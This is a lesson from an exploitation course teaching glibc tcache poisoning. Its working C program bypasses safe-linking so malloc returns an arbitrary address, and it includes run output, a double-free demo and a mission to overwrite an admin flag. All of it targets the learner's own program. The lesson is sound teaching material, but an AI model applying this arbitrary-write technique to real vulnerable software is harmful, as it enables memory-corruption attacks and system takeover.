Step 212. A Taste of Heap Exploitation: tcache Poisoning — Overwriting the Queue’s Ledger
Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★★ | Estimated time: 6 hours
Prerequisites: Step 211 (heap fundamentals — chunks, tcache, LIFO reuse, UAF). You can read pointers and XOR operations.
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- What you need: WSL Ubuntu (gcc). The measured environment is Ubuntu 24.04, gcc 13.3.0, glibc 2.39.
- Caution: every attack today happens inside a program you wrote yourself, targeting your own variables. We reproduce with modern glibc’s defense (safe-linking) turned on — defense included.
In Step 211 we saw that returned chunks go into a queue (the tcache), and the next malloc hands that spot back. But how does the queue remember "the next free chunk"? The answer — it writes the next chunk’s address into the first 8 bytes of the returned chunk. Overwrite that ledger, and the next malloc hands out any address the attacker names. This is tcache poisoning, the "Hello World" of heap attacks.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain that the tcache is a singly linked list, and where the next pointer lives
- Reproduce the flow of overwriting a next pointer so malloc returns an arbitrary address
- Explain what glibc 2.32+’s safe-linking (pointer obfuscation) is and why it exists
- Draw the concept map from arbitrary-address allocation to "arbitrary-address write"
- State the preconditions of heap attacks (a write path such as UAF or heap overflow)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | C, WSL Ubuntu bash (measured: gcc 13.3.0, glibc 2.39, x86-64) |
| Today’s code/concepts | *(size_t *)chunk (read/write the next pointer), PROTECT/REVEAL (safe-linking math), size and alignment instincts |
| Concepts needed | tcache singly linked list, next pointer, safe-linking, arbitrary-address allocation → arbitrary write |
| Today’s deliverables | A tcache-poisoning reproduction program + an obfuscation/decoding observation log + a concept map |
2-1. Inside the tcache — A Returned Chunk Hosts the Ledger
Step 211 taught that returned chunks enter a queue. That queue is not a separate data structure — the returned chunks themselves are the list nodes:
tcache queue (size 0x20 class, LIFO):
head ──→ [ chunk b ] [ chunk a ]
first 8 bytes: ──→ first 8 bytes: NULL (end)
"next is a" "no next"
(the rest is old user data, untouched)
The first 8 bytes of a returned chunk hold the address of the next free chunk (next). When malloc pops the chunk head points to, it takes the next written inside that chunk as the new head. A clever design that keeps no separate ledger and writes it inside the free chunks — the land is empty anyway. But that also means: an attacker who can write into a free chunk can edit the ledger.
2-2. The 5 Steps of Poisoning
- Allocate
aandbat the same size - Free both — queue:
head → b → a → NULL - Via UAF or heap overflow, overwrite b’s next with the target address — queue:
head → b → target → ... - One malloc — b comes out, and head becomes target
- A second malloc — the target address is returned. Write here and arbitrary-address write is complete
Connect this with Step 210’s GOT overwrite. Once you have an arbitrary write, you can overwrite the GOT — and the road to overwriting allocator hooks like __free_hook also opens.
2-3. Safe-Linking — The Defense That Obfuscates the Ledger
This attack worked so well that glibc 2.32 (2020) added safe-linking. Instead of storing next as-is, it gets obfuscated like this:
stored value = (chunk's address >> 12) XOR actual_next
restored value = (chunk's address >> 12) XOR stored value
The upper bits of the chunk address are mixed in like a key. An attacker who doesn’t know the heap address can’t craft a valid obfuscated value, and overwriting with garbage sends the next allocation to a junk address — instant death. In other words, safe-linking doesn’t "prevent the attack at the source"; it makes it "impossible unless you know the heap address." Today we reproduce inside our own program, where we know the addresses, including this math — meaning that in real work, a heap-address leak must come first.
3. Follow Along
3-1. The Reproduction Program — poison.c
Input (poison.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
/* glibc safe-linking: next stored in a chunk = (chunk address >> 12) ^ actual next pointer */
#define PROTECT(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL(pos, v) (((size_t)(pos) >> 12) ^ (size_t)(v))
char target[0x20] __attribute__((aligned(16))) = "top secret data";
int main(void) {
char *a = malloc(0x18);
char *b = malloc(0x18);
strcpy(a, "AAAA");
strcpy(b, "BBBB");
printf("a=%p b=%p target=%p\n", (void *)a, (void *)b, (void *)target);
free(a);
free(b);
/* tcache queue (LIFO): b -> a -> NULL */
size_t stored = *(size_t *)b;
printf("first 8 bytes of b (stored next): %#lx\n", stored);
printf("restored: %p (= a, safe-linking decode)\n", (void *)REVEAL(b, stored));
/* the one attack line: overwrite b's next with target (simulating a UAF write) */
*(size_t *)b = PROTECT(b, target);
char *c = malloc(0x18);
printf("c=%p (reusing b's spot)\n", (void *)c);
char *d = malloc(0x18);
printf("d=%p <- if this equals target, poisoning succeeded\n", (void *)d);
strcpy(d, "HACKED!");
printf("target contents: %s\n", target);
return 0;
}
How to read it: target is a global variable playing the role of "important data" in our program (the 16-byte alignment is because glibc checks the alignment of returned chunks). The PROTECT macro imitates safe-linking’s encryption — we’re inside our own program, so we know the chunk address and can craft a valid obfuscated value. The one attack line is *(size_t *)b = PROTECT(b, target); — overwriting the returned b’s ledger with the target.
3-2. Run — Obfuscation, Overwrite, and Takeover
cd ~/lab209_213
gcc -Wall -o poison poison.c
./poison
poison.c:28:18: warning: pointer 'b' used after 'free' [-Wuse-after-free]
(same warning on lines 28, 25, 23 — the compiler pinpoints the attack path exactly)
a=0x600929d372a0 b=0x600929d372c0 target=0x60090d918010
first 8 bytes of b (stored next): 0x600f2941ef97
restored: 0x600929d372a0 (= a, safe-linking decode)
c=0x600929d372c0 (reusing b's spot)
d=0x60090d918010 <- if this equals target, poisoning succeeded
target contents: HACKED!
(Measured 2026-09-09. Addresses differ on every run.)
How to read the output: line by line.
- Stored next =
0x600f2941ef97: it looks nothing like a’s address (0x600929d372a0) — the value safe-linking obfuscated. - Restored = a: computed with
(b >> 12) ^ stored, out comes exactly a. The obfuscation is reversible, and the key is the chunk address itself. - c = b’s spot: the first malloc is normal — b, at the queue’s head, came out. At that moment head becomes "the next written inside b" — the target we planted.
- d = target: the second malloc returned the address of the global variable target — somewhere off the heap. The allocator was fooled.
- target contents: HACKED!: writing to d changed target — arbitrary-address write complete.
Note: target is not on the heap; it’s in the binary’s data section. malloc handed out an off-heap address as "new land" — that’s the power of poisoning.
3-3. Compared with the Defenseless Days — What Obfuscation Changed
In glibc without safe-linking (2.31 and earlier), the stored next was a’s address as-is, and the attacker needed just *(size_t *)b = target;. The very reason we had to compute PROTECT today is the defense’s effect — an attacker who doesn’t know the chunk address can’t craft a valid stored value.
Put the other way: attacks in the safe-linking era become "leak the heap address first, then begin." Since the obfuscation key is the chunk address, being able to read a freed chunk’s stored value even once (via REVEAL) lets you reverse-compute the heap address — the defense doesn’t block the attack; it demands one more precondition.
3-4. The Wall of Detection — Double Free
Another device of the same defensive era. Freeing the same chunk twice (Step 61’s double free) once tangled the queue into attack material; now:
Input (df.c)
#include <stdlib.h>
int main(void) {
char *a = malloc(0x18);
free(a);
free(a);
return 0;
}
gcc -o df df.c
./df
free(): double free detected in tcache 2
Aborted (core dumped)
(Measured 2026-09-09.)
How to read the output: the tcache also writes a marker called key into the back of each chunk and checks on return, "is this chunk already in my queue?" Caught — immediate abort. Modern heap attacks are a fight for the gaps between these detections, which is why today we reproduced with the frontal method (simulating a UAF write along an allowed path).
3-5. The Concept Map — Where This Attack Leads
Secure a write path (UAF, heap overflow, double-free bypass)
↓
tcache poisoning → arbitrary-address "allocation" → write to that address
↓
Example targets: overwrite the GOT (connects to Step 210)
overwrite __free_hook / __malloc_hook (older glibc)
overwrite a struct holding a return address / function pointer
"Write the value you want at the address you want" is Pwn’s master key. In Step 210 a scanf bug handed us that key; today the heap queue did — same destination.
4. Missions & Exercises
Mission — A Second Target
Extend poison.c:
- Add a global
int admin_flag = 0;next to target (keep 16-byte alignment) - Get admin_flag’s address allocated via poisoning and overwrite it to 1
- Confirm that
if (admin_flag) puts("admin privileges acquired");executes - Write two lines in your notes: "what I actually overwrote, and why the allocator was fooled"
Exercises
Problem 1. Why does the fact that the tcache queue is "the returned chunks themselves," not "a separate list structure," open the door to attack?
Problem 2. In 3-2, the first malloc (c) returned b normally, but the second malloc (d) returned target. Explain why, in terms of head’s movement.
Problem 3. In safe-linking, what is the obfuscation "key," and what new precondition did it create for attackers?
Problem 4. What value does 3-4’s double-free detection check? And explain why this detection doesn’t block poisoning itself.
5. Model Answers & Completion Criteria
Mission Model Answer
char target[0x20] __attribute__((aligned(16))) = "top secret data";
int admin_flag __attribute__((aligned(16))) = 0;
Declare the above, and change the attack line to *(size_t *)b = PROTECT(b, &admin_flag);. Write *(int *)d = 1; through the pointer from the second malloc, and admin_flag becomes 1 and the branch executes. Note-summary example:
What I overwrote: the next pointer (queue ledger) of returned chunk b
Why it was fooled: malloc trusts the queue's next without verification and returns that address
How to verify: ① did admin_flag become 1 and the branch execute, ② did you confirm via output that d’s address equals admin_flag’s address, ③ does your note capture "unverified trust" as the core.
Exercise Answers
Problem 1 answer. Because the queue’s linkage (next) lives inside memory the attacker can write. Had the ledger been kept somewhere separate and protected, overwriting a chunk would have left the queue safe. The efficiency of recycling empty land as the ledger becomes the door to ledger manipulation — as long as that land is writable.
Problem 2 answer. When malloc pops the chunk head points to, it takes the next written inside that chunk as the new head. Since we had overwritten b’s next with target, the moment c popped b, head became target, and the next malloc returned head — target. The allocator never checks whether next is a real free chunk.
Problem 3 answer. The key is the chunk’s own address shifted 12 bits right (stored = (chunk address >> 12) ^ next). The attacker’s new precondition is knowledge of the heap address — without it, you can’t craft a valid obfuscated value, and a bad overwrite sends the next allocation to a junk address and dies. That’s why modern heap attacks start with a leak.
Problem 4 answer. It checks whether the freed chunk’s key field points to the tcache structure — an already-returned chunk carries that marker, so a second return is caught. But poisoning isn’t an attack that frees twice; it overwrites a returned chunk’s next, a path unrelated to the key check. Detection blocks one branch of attack; other branches remain.
Completion Criteria Checklist
- [ ] I can explain that the tcache is a singly linked list with next in the first 8 bytes of each returned chunk
- [ ] I can recite the 5 poisoning steps in order (allocate → free → overwrite → malloc ×2)
- [ ] I can explain safe-linking’s formula (stored = (address>>12) ^ next) and why it exists
- [ ] I compiled poison.c and reproduced d == target and the target overwrite
- [ ] I confirmed the difference between the obfuscated stored value and the restored value in the output
- [ ] I can draw the map from arbitrary-address allocation to arbitrary write (GOT overwrite, etc.)
- [ ] Mission: I set admin_flag to 1 via poisoning and wrote up my notes
6. Common Pitfalls & Fixes
Wall 1. It dies with malloc(): unaligned tcache chunk detected
Symptom: after poisoning, the second malloc aborts with this message.
Cause: the target address isn’t 16-byte aligned. glibc checks the alignment of addresses popped from the tcache.
Fix: this is why today’s target has __attribute__((aligned(16))). Check that your target is aligned first — in real work too, alignment decides success or failure.
Wall 2. I overwrote directly with *(size_t *)b = target; without the stored-value math
Symptom: the second malloc returns a wrong address or raises Segmentation fault.
Cause: you didn’t go through safe-linking. Write a raw address where an obfuscated value is expected, and the restore step produces a junk address.
Fix: run it through PROTECT(chunk address, target). It’s mandatory in this environment (glibc 2.39) — and that is exactly the defense from 2-3.
Wall 3. Example code from the internet doesn’t work as-is
Symptom: the famous how2heap tcache examples fail on a modern environment.
Cause: normal. Those examples assume pre-safe-linking glibc (2.31 and below). Which attacks work splits along glibc versions.
Fix: check the version with ldd --version and apply a version-appropriate variant (like today’s PROTECT math). "The example doesn’t work" is wrong — "the defense is working" is the correct reading.
Wall 4. The value I read right after free is a weird number, not an address
Symptom: you see a value like 3-2’s 0x600f2941ef97 and think "the address is corrupted."
Cause: that’s the obfuscated value, perfectly normal. Before safe-linking, 0x600929d372a0 would have been visible as-is.
Fix: restore it with REVEAL(chunk address, stored). The real next comes out — exactly as a’s address did in today’s measurement.
Wall 5. The overconfidence of "so this works on a real server too, right?"
Symptom: the reproduction works, so you feel it would work anywhere.
Cause: today’s reproduction ran knowing every address inside our own program. Real work is a much longer fight — ASLR, unknown heap addresses, and assorted detections, with a leak to build first.
Fix: what you learned today is "understanding the structure." Real exploits layer leaks and bypasses on top of this structure, and that assembly is the long journey from Step 214 onward. And those experiments belong strictly on legal platforms.
7. Summary
Today’s Concepts
| Concept | One-line description |
|---|---|
| tcache linked list | A queue of returned chunks chained by next pointers — the ledger is the free chunks themselves |
| tcache poisoning | The attack of overwriting next so malloc returns an arbitrary address |
| Arbitrary-address write | Poisoning’s fruit — Pwn’s master key, leading to GOT overwrites and more |
| safe-linking | glibc 2.32+ defense that XOR-obfuscates next with (chunk address >> 12) |
| tcache key check | A defense that detects double free and aborts |
| leak | The era-of-obfuscation precondition — the stage of reading out a heap address first |
Today’s Code
| Code | What it does |
|---|---|
*(size_t *)freed_chunk |
Read a returned chunk’s next (the obfuscated value) |
PROTECT(pos, ptr) |
Compute the safe-linking stored value — (pos>>12) ^ ptr |
REVEAL(pos, v) |
Restore a stored value — same formula (XOR is its own inverse) |
__attribute__((aligned(16))) |
Guarantee the target variable’s alignment (to pass the tcache alignment check) |
ldd --version |
Check the glibc version — the baseline for which defenses exist |
The Sense That Matters More Than Commands
Today’s attack has a one-sentence backbone — the allocator trusts the queue’s next without verification. The ledger sits inside a free chunk, and if you can write there, the allocator hands out whatever address you wrote as "new land." Trust placed for efficiency becoming an attack surface — a structure that mirrors Step 210’s GOT exactly.
And you saw the paradox of defense, too. Safe-linking didn’t eliminate the attack; it only demanded one more precondition (the heap address). Security is not making attacks impossible — it’s making them harder and noisier. A truth you’ll keep meeting in Level 3’s final stretch.
Once every box is checked, Step 212 is complete. Click the checkbox in the sidebar to save your progress.